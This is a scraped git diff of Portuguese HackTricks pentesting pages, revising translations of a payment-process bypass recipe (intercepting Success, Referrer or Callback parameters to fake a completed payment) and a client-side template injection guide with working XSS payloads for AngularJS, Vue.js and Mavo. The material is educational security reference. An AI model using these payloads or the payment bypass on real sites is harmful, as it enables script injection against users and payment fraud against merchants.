- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,39 +1,38 @@
|
||||||
# Bypassar Processo de Pagamento
|
# Bypass no Processo de Pagamento
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, realiza varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
1. É preferível escolher o **PayPal** ou **CoinPayments** como método de pagamento
|
|
||||||
2. Interceptar todas as solicitações, você pode encontrar um parâmetro chamado _**Success**_, _**Referrer**_ ou _**Callback**_
|
1. É preferível escolher **PayPal** ou **CoinPayments** como método de pagamento
|
||||||
|
2. Intercepte todas as requisições, você pode encontrar um parâmetro chamado _**Success**_ ou _**Referrer**_ ou _**Callback**_
|
||||||
3. Se o valor dentro do parâmetro tiver uma URL como esta _**example.com/payment/MD5HASH**_ por exemplo
|
3. Se o valor dentro do parâmetro tiver uma URL como esta _**example.com/payment/MD5HASH**_ por exemplo
|
||||||
4. **Copie-o e abra-o em uma nova janela**, você verá que seu pagamento foi bem-sucedido
|
4. **Copie-a e abra em uma nova janela**, você descobrirá que seu pagamento foi bem-sucedido
|
||||||
|
|
||||||
@SalahHasoneh1
|
@SalahHasoneh1
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, realiza varreduras proativas de ameaças, encontra problemas em toda a sua pilha de tecnologia, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
|
||||||
|
|
||||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||||
|
|
||||||
|
@ -41,16 +40,14 @@ Encontre vulnerabilidades que são mais importantes para que você possa corrigi
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo Telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,30 +1,28 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
# Resumo
|
# Resumo
|
||||||
|
|
||||||
É como uma **Injeção de Template do Lado do Servidor** (SSTI), mas no **lado do cliente**. O **SSTI** pode permitir que você **execute código** no servidor remoto, o **CSTI** pode permitir que você **execute código JavaScript arbitrário** na vítima.
|
É como uma [**Injeção de Template no Lado do Servidor**](ssti-server-side-template-injection/) mas no **cliente**. A **SSTI** pode permitir que você **execute código** no servidor remoto, a **CSTI** poderia permitir que você **execute JavaScript arbitrário** no navegador da vítima.
|
||||||
|
|
||||||
A maneira de **testar** essa vulnerabilidade é muito **semelhante** ao caso do **SSTI**, o interpretador vai esperar algo para executar **entre chaves duplas** e irá executá-lo. Por exemplo, usando algo como: `{{ 7-7 }}` se o servidor for **vulnerável**, você verá um `0` e, se não, verá o original: `{{ 7-7 }}`
|
A maneira de **testar** essa vulnerabilidade é muito **semelhante** ao caso de **SSTI**, o interpretador vai esperar algo para executar **entre chaves duplas** e irá executá-lo. Por exemplo, usando algo como: `{{ 7-7 }}` se o servidor estiver **vulnerável** você verá um `0` e se não, você verá o original: `{{ 7-7 }}`
|
||||||
|
|
||||||
# AngularJS
|
# AngularJS
|
||||||
|
|
||||||
AngularJS é uma biblioteca JavaScript popular, que examina o conteúdo dos nós HTML contendo o atributo **`ng-app`** (também conhecido como diretiva AngularJS). Quando uma diretiva é adicionada ao código HTML, **você pode executar expressões JavaScript dentro de chaves duplas**.\
|
AngularJS é uma biblioteca JavaScript popular, que escaneia o conteúdo de nós HTML contendo o atributo **`ng-app`** (também conhecido como uma diretiva AngularJS). Quando uma diretiva é adicionada ao código HTML, **você pode executar expressões JavaScript dentro de chaves duplas**.\
|
||||||
Por exemplo, se sua **entrada** está sendo **refletida** dentro do **corpo** do HTML e o corpo é definido com `ng-app`: **`<body ng-app>`**
|
Por exemplo, se a sua **entrada** está sendo **refletida** dentro do **corpo** do HTML e o corpo é definido com `ng-app`: **`<body ng-app>`**
|
||||||
|
|
||||||
Você pode **executar código JavaScript arbitrário** usando chaves duplas **adicionando** ao **corpo**:
|
Você pode **executar código JavaScript arbitrário** usando chaves duplas **adicionando** ao **corpo**:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -35,7 +33,7 @@ Você pode **executar código JavaScript arbitrário** usando chaves duplas **ad
|
||||||
<!-- Google Research - AngularJS -->
|
<!-- Google Research - AngularJS -->
|
||||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||||
```
|
```
|
||||||
Você pode encontrar um exemplo **básico online** da vulnerabilidade no **AngularJS** em [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)
|
Você pode encontrar um **exemplo online básico** da vulnerabilidade em **AngularJS** em [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
[**Angular 1.6 removeu o sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) então a partir desta versão um payload como `{{constructor.constructor('alert(1)')()}}` ou `<input ng-focus=$event.view.alert('XSS')>` deve funcionar.
|
[**Angular 1.6 removeu o sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) então a partir desta versão um payload como `{{constructor.constructor('alert(1)')()}}` ou `<input ng-focus=$event.view.alert('XSS')>` deve funcionar.
|
||||||
|
@ -43,21 +41,21 @@ Você pode encontrar um exemplo **básico online** da vulnerabilidade no **Angul
|
||||||
|
|
||||||
# VueJS
|
# VueJS
|
||||||
|
|
||||||
Você pode encontrar uma implementação **vue.js vulnerável** em [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
|
Você pode encontrar uma implementação **vulnerável vue.js** em [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
|
||||||
Payload funcionando: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
|
Payload funcional: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
|
||||||
|
|
||||||
E o **código fonte** do exemplo vulnerável aqui: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
E o **código fonte** do exemplo vulnerável aqui: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
||||||
```markup
|
```markup
|
||||||
<!-- Google Research - Vue.js-->
|
<!-- Google Research - Vue.js-->
|
||||||
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
||||||
```
|
```
|
||||||
Um post realmente bom sobre CSTI em VUE pode ser encontrado em [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
Um excelente artigo sobre CSTI em VUE pode ser encontrado em [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||||||
|
|
||||||
## **V3**
|
## **V3**
|
||||||
```
|
```
|
||||||
{{_openBlock.constructor('alert(1)')()}}
|
{{_openBlock.constructor('alert(1)')()}}
|
||||||
```
|
```
|
||||||
Crédito: [Gareth Heyes, Lewis Ardern e PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
Crédito: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||||||
|
|
||||||
## **V2**
|
## **V2**
|
||||||
```
|
```
|
||||||
|
@ -65,7 +63,7 @@ Crédito: [Gareth Heyes, Lewis Ardern e PwnFunction](https://portswigger.net/res
|
||||||
```
|
```
|
||||||
Crédito: [Mario Heiderich](https://twitter.com/cure53berlin)
|
Crédito: [Mario Heiderich](https://twitter.com/cure53berlin)
|
||||||
|
|
||||||
**Verifique mais payloads VUE em** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
|
**Confira mais payloads VUE em** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
|
||||||
|
|
||||||
# Mavo
|
# Mavo
|
||||||
|
|
||||||
|
@ -83,24 +81,23 @@ javascript:alert(1)%252f%252f..%252fcss-images
|
||||||
<a href=[javascript&':alert(1)']>test</a>
|
<a href=[javascript&':alert(1)']>test</a>
|
||||||
[self.alert(1)mod1]
|
[self.alert(1)mod1]
|
||||||
```
|
```
|
||||||
# Lista de Detecção de Força Bruta
|
**Mais payloads em** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
|
||||||
|
|
||||||
Mais payloads em [https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
|
# **Lista de Detecção por Força Bruta**
|
||||||
|
|
||||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo do [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||||
|
|
||||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue